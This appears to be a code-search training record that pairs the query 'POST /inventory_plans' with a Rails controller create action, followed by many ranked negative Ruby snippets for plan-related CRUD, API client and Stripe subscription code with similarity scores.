OnlineJobPlanApi.api_v1_online_job_plans_get ...'\n end\n # resource path\n local_var_path = '/api/v1/online_job_plans'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'filter[id]'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'filter[owner_id]'] = opts[:'filter_owner_id'] if !opts[:'filter_owner_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.api+json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiEmail', 'apiToken']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OnlineJobPlansResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OnlineJobPlanApi#api_v1_online_job_plans_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @plan_stage = PlanStage.find(params[:id].to_i) rescue nil\n respond_to do |format|\n unless @plan_stage.blank?\n format.xml { render :xml => plan_stage_presenter }\n format.json { render :json => plan_stage_presenter }\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end", "def show\n @plan_milestone = PlanMilestone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_milestone }\n end\n end", "def show\n @id = @plan.id\n @name = @plan.name\n @major = @plan.major\n end", "def index\n @plan_milestones = PlanMilestone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_milestones }\n end\n end", "def show\n render json: @care_plan\n end", "def show\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def index\n @lesson_plans = current_user.lesson_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_plans }\n end\n end", "def retrievePlan(_planId)\n result = ChargeBee::Plan.retrieve(_planId)\n return result.plan\n end", "def retrievePlan(_planId)\n result = ChargeBee::Plan.retrieve(_planId)\n return result.plan\n end", "def index\n @sales_plans = SalesPlan.all\n end", "def index\n respond_with(end_user_plans)\n end", "def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @floor_plan }\n end\n end", "def index\n @pricing_plans = PricingPlan.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pricing_plans }\n end\n end", "def create\n @inventory_plan = InventoryPlan.new(inventory_plan_params)\n\n respond_to do |format|\n if @inventory_plan.save\n format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully created.' }\n format.json { render :show, status: :created, location: @inventory_plan }\n else\n format.html { render :new }\n format.json { render json: @inventory_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @pricing_plan = PricingPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pricing_plan }\n end\n end", "def set_inventory_plan\n @inventory_plan = InventoryPlan.find(params[:id])\n end", "def index\n authorize Plan\n @plans = Plan.includes(:roles).active(current_user).page(1)\n @organisationally_or_publicly_visible = if current_user.org.is_other?\n []\n else\n Plan.organisationally_or_publicly_visible(current_user).page(1)\n end\n # TODO: Is this still used? We cannot switch this to use the :plan_params\n # strong params because any calls that do not include `plan` in the\n # query string will fail\n @template = Template.find(params[:plan][:template_id]) if params[:plan].present?\n end", "def index\n @session_plans = @session_plan_category.session_plans\n end", "def show\n @plan_de_ventum = PlanDeVentum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_de_ventum }\n end\n end", "def show\n @master_plan = MasterPlan.find(params[:id])\n add_breadcrumb(\"#{@master_plan.client.name} #{t('model.list', model: Project.model_name.human)}\", :client_projects_path)\n add_breadcrumb(@master_plan.project.name)\n\n if @master_plan.medium_master_plans.count > 0\n if params[:medium_id]\n @selected_medium_master_plan = @master_plan.medium_master_plans.where(medium_id: params[:medium_id]).first\n end\n @selected_medium_master_plan = @master_plan.medium_master_plans.first unless @selected_medium_master_plan\n @master_plan_items_grid = initialize_grid(\n MasterPlanItem.where(\"master_plan_id=#{@master_plan.id} and medium_id=#{@selected_medium_master_plan.medium_id}\").order('is_on_house, created_at'),\n name: 'medium_master_plan_items_grid',\n per_page: 100)\n end\n\n @choose_spots_path_params =\n {\n id: @master_plan.id,\n client_id: @master_plan.client_id,\n project_id: @master_plan.project_id\n }.merge(session[:spot_picker])\n\n respond_to do |format|\n format.html\n format.json { render json: @master_plan }\n end\n end", "def index\n @business_plans = BusinessPlan.all\n end", "def index\n @meal_plans = MealPlan.all\n end", "def index\n @art_plans = current_user.art_plans\n end", "def plans\n @title = 'Puppet Plan Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_plan)\n erb(:objects)\nend", "def show\n @planner = Planner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planner }\n end\n end", "def show\n @planned_order = PlannedOrder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @planned_order }\n end\n end", "def show\n @service_plan = ServicePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_plan }\n end\n end", "def show\n #@detail = Detail.find(params[:id])\n @plan = Plan.find(params[:plan_id])\n @detail = @plan.details.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detail }\n end\n end" ]
[ "0.7490944", "0.7470824", "0.7394055", "0.73432064", "0.73340297", "0.72787637", "0.7186881", "0.7180351", "0.71644866", "0.7101234", "0.70892286", "0.7050326", "0.7050326", "0.6925195", "0.6913076", "0.68411225", "0.6809012", "0.6722106", "0.6694561", "0.66778445", "0.6676429", "0.664099", "0.66330343", "0.65941507", "0.65941507", "0.65863836", "0.65620357", "0.6554476", "0.6514419", "0.65056103", "0.6492921", "0.64738524", "0.6449816", "0.64409137", "0.643443", "0.6431866", "0.64255124", "0.6423067", "0.6422865", "0.64193255", "0.6411634", "0.64075816", "0.64001673", "0.63984376", "0.6392055", "0.637182", "0.6351428", "0.63464844", "0.6346242", "0.6345391", "0.63425976", "0.6329646", "0.6329646", "0.6329646", "0.6307592", "0.63070273", "0.63040197", "0.6297351", "0.62922287", "0.6281377", "0.6280439", "0.6272668", "0.62712187", "0.6268763", "0.6259496", "0.62491703", "0.6245065", "0.62359273", "0.62307394", "0.6229319", "0.62280244", "0.62204164", "0.6215171", "0.62063473", "0.62023133", "0.6187822", "0.6161248", "0.61605436", "0.61506075", "0.6145113", "0.6145113", "0.6132302", "0.6130369", "0.6126489", "0.6125873", "0.6115437", "0.6108706", "0.61037177", "0.6098754", "0.6094274", "0.60930896", "0.60921943", "0.6089331", "0.6084305", "0.60824984", "0.6080248", "0.6075585", "0.60712624", "0.60692364", "0.605965", "0.60543406" ]
0.0
-1
POST /inventory_plans POST /inventory_plans.json
def create @inventory_plan = InventoryPlan.new(inventory_plan_params) respond_to do |format| if @inventory_plan.save format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully created.' } format.json { render :show, status: :created, location: @inventory_plan } else format.html { render :new } format.json { render json: @inventory_plan.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.create(plan_params)\n @incident = Incident.find(params[:incident_id])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to incident_plan_path(@incident, @plan) }\n format.json { redirect_to incident_plan_path(@incident, @plan) }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @planitem = Planitem.new(planitems_params)\n\n respond_to do |format|\n if @planitem.save\n format.html { redirect_to \"#{plan_path(@planitem.sprint.quarter.name)}\", notice: 'Plan item was successfully created.' }\n format.json { render json: @planitem, status: :created, location: @planitem }\n else\n\t\t@sprint = Sprint.find(@planitem.sprint_id)\n\t\t@teams = Team.order(:name)\n\t\t@initiatives = Initiative.where(:quarter_id => @sprint.quarter_id)\n\t\t@sprints = Sprint.where(:quarter_id => @sprint.quarter_id)\n format.html { render action: \"new\" }\n format.json { render json: @planitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.add_ident\n @plan.user_id = current_user.id\n unless @plan.save\n render json: {status: 'failed', message: '创建失败,请稍后重试 !'}\n end\n end", "def index\n @inventory_plans = InventoryPlan.all\n end", "def create\n @plan = Plan.new(params[:plan])\n \n respond_to do |format|\n if @plan.save\n flash[:notice] = \"Plan successfully submitted.\"\n format.html { redirect_to :back }\n format.mobile { redirect_to :back }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @site_plan = @product.site_plans.new(site_plan_params)\n\n respond_to do |format|\n if @site_plan.save\n format.html { redirect_to \"#{product_path(@product)}/#site_plan-tab\", notice: 'Site plan was successfully created.' }\n format.json { render json: @site_plan, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_plan(body,\r\n idempotency_key = nil)\r\n # Prepare query url.\r\n _path_url = '/plans'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'ServiceRefererName' => Configuration.service_referer_name,\r\n 'Content-Type' => 'application/json',\r\n 'idempotency-key' => idempotency_key\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise ErrorException.new(\r\n 'Invalid request',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise ErrorException.new(\r\n 'Invalid API key',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise ErrorException.new(\r\n 'An informed resource was not found',\r\n _context\r\n )\r\n elsif _context.response.status_code == 412\r\n raise ErrorException.new(\r\n 'Business validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 422\r\n raise ErrorException.new(\r\n 'Contract validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 500\r\n raise ErrorException.new(\r\n 'Internal server error',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n PlansResponse1.from_hash(decoded)\r\n end", "def create\n @panel_plan = Panel::Plan.new(params[:panel_plan])\n\n respond_to do |format|\n if @panel_plan.save\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully created.') }\n format.json { render :json => @panel_plan, :status => :created, :location => @panel_plan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @test_plan = TestPlan.new(test_plan_params)\n @test_plan.project_id = @project.id\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to project_test_plans_path(@project), flash: {success: 'LoadTest plan was successfully created.'} }\n format.json { render :show, status: :created, location: @test_plan }\n else\n format.html { render :new }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sales_plan = SalesPlan.new(sales_plan_params)\n\n respond_to do |format|\n if @sales_plan.save\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully created.' }\n format.json { render :show, status: :created, location: @sales_plan }\n else\n format.html { render :new }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :is_pending, :team_ids, :plan_status, :user_id, team_ids: [])\n end", "def create\n @billing_plan = BillingPlan.new(billing_plan_params)\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @billing_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @single_plan = SinglePlan.new(params[:single_plan])\n @single_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @single_plan.save\n flash[:notice] = 'Single Plan was successfully created.'\n format.html { redirect_to(@single_plan) }\n format.xml { render :xml => @single_plan, :status => :created, :location => @single_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @single_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @admin_subscription_plan = Admin::SubscriptionPlan.new(admin_subscription_plan_params)\n\n respond_to do |format|\n if @admin_subscription_plan.save\n format.html { redirect_to @admin_subscription_plan, notice: 'Subscription plan was successfully created.' }\n format.json { render :show, status: :created, location: @admin_subscription_plan }\n else\n format.html { render :new }\n format.json { render json: @admin_subscription_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create # rubocop:disable Metrics/AbcSize\n attrs = params.require(plan_type).permit(CREATE_PARAMS)\n @plan = collection.build(attrs)\n\n if plan.save\n if block_given?\n yield\n else\n plan.reload\n\n respond_to do |format|\n format.html do\n flash[:notice] = \"Created #{plan.class.model_name.human} #{plan.name}\"\n # collection.build to create new record to properly generate path to index action (rails)\n redirect_to plans_index_path\n end\n end\n end\n\n else\n render :new\n end\n end", "def create\n @page_plan = PagePlan.new(page_plan_params)\n respond_to do |format|\n if @page_plan.save\n format.html { redirect_to @page_plan, notice: 'Page plan was successfully created.' }\n format.json { render :show, status: :created, location: @page_plan }\n else\n format.html { render :new }\n format.json { render json: @page_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(attrs, user = @@default_user)\n attrs = { project_token: @project_token }.merge(attrs)\n @attributes = send_request('test_plans', :post) do |req|\n req.body = {\n test_plan: attrs.except(:project_token),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end", "def create\n assessment = Assessment.find(plan_create_params.fetch(:assessment_id))\n disease_ids = plan_create_params.fetch(:disease_ids).to_s.split(\"-\")\n\n if plan_create_params[:indicators].values.map(&:to_i).any?(&:zero?)\n flash[:alert] = \"Every score and goal must be 1 or higher.\"\n return redirect_back fallback_location: root_path\n end\n\n @plan =\n Plan.create_from_goal_form(\n indicator_attrs: plan_create_params.fetch(:indicators),\n assessment: assessment,\n is_5_year_plan: plan_create_params.fetch(:term).start_with?(\"5\"),\n plan_name: \"#{assessment.country.name} draft plan\",\n disease_ids: disease_ids,\n user: current_user\n )\n unless @plan.persisted?\n flash[:notice] = \"Could not save your plan, something went wrong.\"\n redirect_back fallback_location: root_path\n return\n end\n session[:plan_id] = @plan.id unless current_user\n redirect_to @plan\n rescue Exceptions::InvalidDiseasesError => e\n flash[:notice] = e.message\n redirect_back fallback_location: root_path\n end", "def new\n @project_procurement_management_plan = current_user.project_procurement_management_plans.build\n 1.times { @project_procurement_management_plan.projects.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n @plan.user = current_user\n @plan.request = Request.find( params[:request_id] )\n\n respond_to do |format|\n if @plan.save\n @plan.request.days.times do |day|\n @plan.plan_days << PlanDay.create( { plan_id: @plan.id, day: day+1 } )\n end\n\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @floor_plan = @product.floor_plans.new(floor_plan_params)\n\n respond_to do |format|\n if @floor_plan.save\n format.html { redirect_to \"#{product_path(@product)}/#floor_plan-tab\", notice: 'Floor plan was successfully created.' }\n format.json { render json: @floor_plan, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n respond_to do |format|\n if @plan.save\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n UserMailer.create_plan(current_user, @plan).deliver\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sslplan = Sslplan.new(params[:sslplan])\n\n respond_to do |format|\n if @sslplan.save\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully created.' }\n format.json { render :json => @sslplan, :status => :created, :location => @sslplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:date, :breakfast_id, :lunch_id, :dinner_id, :food_id)\n end", "def create\n @plan = Plan.new(params[:plan])\n\n respond_to do |format|\n if @plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(@plan) }\n format.xml { render :xml => @plan, :status => :created, :location => @plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @actual_action_plan = ActualActionPlan.new(actual_action_plan_params)\n\n respond_to do |format|\n if @actual_action_plan.save\n format.html { redirect_to @actual_action_plan, notice: 'Actual action plan was successfully created.' }\n format.json { render :show, status: :created, location: @actual_action_plan }\n else\n format.html { render :new }\n format.json { render json: @actual_action_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n @plan.transaction_fee_percent = TRANSACTION_FEE_PERCENT\n @plan.transaction_fee_flat = TRANSACTION_FEE_FLAT\n @plan.artist_id = session[:artist_id] \n\n respond_to do |format|\n if @plan.save\n\n Stripe::Plan.create( :amount => \"#{(@plan.price * 100).to_i}\", :interval => 'month', :name => \"#{@plan.artist.name} - #{@plan.name}\", :currency => 'usd', :id => \"#{@plan.id}\" )\n \n format.html { redirect_to(artist_profile_url(@plan.artist), :notice => 'Pledge level was successfully created.') }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\r\n params.require(:plan).permit(\r\n :title,\r\n :started_at,\r\n :ended_at,\r\n :state,\r\n :remarks,\r\n :project_ids => [],\r\n )\r\n end", "def create\n format_amount\n @pay_plan = PayPlan.new(pay_plan_params)\n respond_to do |format|\n if @pay_plan.save\n format.html { redirect_to @pay_plan, notice: 'Payment plan was successfully created.' }\n format.json { render :show, status: :created, location: @pay_plan }\n else\n format.html { render :new }\n format.json { render json: @pay_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plans=(value)\n @plans = value\n end", "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def create\n @plan = Plan.new(plan_params)\n @case = @plan.case\n respond_to do |format|\n if @plan.save\n set_link_to_appointment(@plan)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @plans = Plan.all\n\n render json: @plans\n end", "def create\n @socialize_plan = SocializePlan.new(params[:socialize_plan])\n\n respond_to do |format|\n if @socialize_plan.save\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully created.') }\n format.xml { render :xml => @socialize_plan, :status => :created, :location => @socialize_plan }\n format.json { render :json => @socialize_plans }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n format.json { render :json => @socialize_plan.errors, :status => :unprocessable_entity}\n end\n end\n end", "def create\n @exercise_plan = ExercisePlan.new(params[:exercise_plan])\n\n respond_to do |format|\n if @exercise_plan.save\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully created.' }\n format.json { render json: @exercise_plan, status: :created, location: @exercise_plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user = current_user\n respond_to do |format|\n if @plan.save\n format.html { redirect_to profile_path, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @session_plan = @session_plan_category.session_plans.new(session_plan_params)\n\n respond_to do |format|\n if @session_plan.save\n format.html { redirect_to session_plan_category_session_plans_path(@session_plan_category), notice: 'Session plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @session_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @session_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @test_plan = TestPlan.new(params[:test_plan])\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully created.') }\n format.xml { render :xml => @test_plan, :status => :created, :location => @test_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @cardio_plan = CardioPlan.new(params[:cardio_plan])\n @cardio_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @cardio_plan.save\n flash[:notice] = 'Cardio Plan was successfully created.'\n format.html { redirect_to(@cardio_plan) }\n format.xml { render :xml => @cardio_plan, :status => :created, :location => @cardio_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cardio_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :start_date, :end_date, :area_id)\n end", "def plan_params\n params.require(:plan).permit(:name, :price, :trainings_id)\n end", "def create\n @ecommerceplan = Ecommerceplan.new(params[:ecommerceplan])\n\n respond_to do |format|\n if @ecommerceplan.save\n format.html { redirect_to @ecommerceplan, :notice => 'Ecommerceplan was successfully created.' }\n format.json { render :json => @ecommerceplan, :status => :created, :location => @ecommerceplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @ecommerceplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :id)\n end", "def set_inventory_plan\n @inventory_plan = InventoryPlan.find(params[:id])\n end", "def create\n @ad_plan = AdPlan.new(ad_plan_params)\n\n respond_to do |format|\n if @ad_plan.save\n format.html { redirect_to @ad_plan, notice: 'Ad plan was successfully created.' }\n format.json { render :show, status: :created, location: @ad_plan }\n else\n format.html { render :new }\n format.json { render json: @ad_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @local_plan = LocalPlan.new(params[:local_plan])\n\n respond_to do |format|\n if @local_plan.save\n flash[:notice] = 'Local rate was successfully created.'\n format.html { redirect_to(local_plans_url) }\n format.xml { render :xml => @local_plan, :status => :created, :location => @local_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @local_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def inventory_plan_params\n params.require(:inventory_plan).permit(:Document_number, :Name, :To_id, :description)\n end", "def create\n @business_plan = BusinessPlan.new(business_plan_params)\n\n respond_to do |format|\n if @business_plan.save\n format.html { redirect_to @business_plan, notice: 'Business plan was successfully created.' }\n format.json { render :show, status: :created, location: @business_plan }\n else\n format.html { render :new }\n format.json { render json: @business_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_plans\n plan_ids = Plan.all.map(&:plan_id)\n cb_plans.reject { |cb_plan| plan_ids.include?(cb_plan.id) }\n .each { |new_plan| puts \"Creating Plan - #{new_plan.id}\"; Plan.create(plan_params(new_plan)) }\n end", "def create\r\n @plan = Plan.new(plan_params)\r\n respond_to do |format|\r\n if @plan.save\r\n set_plans_grid\r\n format.html { redirect_to redirect_url, notice: t('activerecord.success.messages.created', model: Plan.model_name.human) }\r\n format.js\r\n else\r\n format.html { render :new }\r\n format.js { render :new }\r\n end\r\n end\r\n end", "def plan_create_params\n params.require(:plan).permit(\n :stripe_id, :amount, :currency, :interval, :interval_count, :name,\n :statement_descriptor, :trial_period_days, :order, :highlight, :features, :description, :group\n )\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def create\n super params[:application_plan]\n end", "def create\n plan = Plan.new\n authorize plan\n\n # If the template_id is blank then we need to look up the available templates and\n # return JSON\n if plan_params[:template_id].blank?\n # Something went wrong there should always be a template id\n respond_to do |format|\n flash[:alert] = _('Unable to identify a suitable template for your plan.')\n format.html { redirect_to new_plan_path }\n end\n else\n\n puts plan_params.inspect\n\n @plan = create_plan(plan: plan, params: plan_params)\n\n if @plan.is_a?(Plan)\n default = Template.default\n\n msg = \"#{success_message(@plan, _('created'))}<br />\"\n\n if !default.nil? && default == @plan.template\n # We used the generic/default template\n msg += \" #{_('This plan is based on the default template.')}\"\n\n elsif [email protected]_of.nil?\n # We used a customized version of the the funder template\n # rubocop:disable Layout/LineLength\n msg += \" #{_('This plan is based on the')} #{@plan.funder&.name}: '#{@plan.template.title}' #{_('template with customisations by the')} #{@plan.template.org.name}\"\n # rubocop:enable Layout/LineLength\n else\n # We used the specified org's or funder's template\n msg += \" #{_('This plan is based on the')} #{@plan.template.org.name}: '#{@plan.template.title}' template.\"\n end\n\n respond_to do |format|\n flash[:notice] = msg\n format.html { redirect_to plan_path(@plan) }\n end\n else\n # Something went wrong so report the issue to the user\n respond_to do |format|\n flash[:alert] = failure_message(plan, _('create'))\n format.html { redirect_to new_plan_path }\n end\n end\n end\n end", "def create\n @article_plan = ArticlePlan.new(article_plan_params)\n\n respond_to do |format|\n if @article_plan.save\n format.html { redirect_to @article_plan, notice: 'Article plan was successfully created.' }\n format.json { render :show, status: :created, location: @article_plan }\n else\n format.html { render :new }\n format.json { render json: @article_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @billing_plan = BillingPlan.new(params[:billing_plan])\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to(@billing_plan, :notice => 'Billing plan was successfully created.') }\n format.xml { render :xml => @billing_plan, :status => :created, :location => @billing_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @billing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :content, :image, :scheduled_date)\n end", "def create\n @operative_plan = OperativePlan.new(operative_plan_params)\n\n respond_to do |format|\n if @operative_plan.save\n format.html { redirect_to @operative_plan, notice: 'Plan operativo creado exitosamente' }\n format.json { render :show, status: :created, location: @operative_plan }\n else\n format.html { render :new }\n format.json { render json: @operative_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t@plan=Plan.find(params[:plan_id])\n\tif [email protected]?\n\t\tredirect_to new_buy_plan_path, :flash => { :error => \"plan not found\" }\n\t\treturn\n\tend\n\n\tif current_user.stripe_id.present?\n\t\tcustomer_id=current_user.stripe_id\n\t\tcustomer = Stripe::Customer.retrieve(customer_id)\n\t\tcustomer.sources.create(:source => params[:stripeToken])\n\telse\n\t\tcustomer = Stripe::Customer.create(\n\t\t\t:email => params[:stripeEmail],\n\t\t\t:source => params[:stripeToken]\n\t\t)\n\t\tcustomer_id=customer.id\n\t\tcurrent_user.stripe_id=customer_id\n\t\tcurrent_user.save(validate: false)\n\tend\n\n\tsubscription = customer.subscriptions.create(:plan => @plan.stripe_id )\n\n\t@plan=BuyPlan.new(:plan_id => params[:plan_id], :user_id => current_user.id, 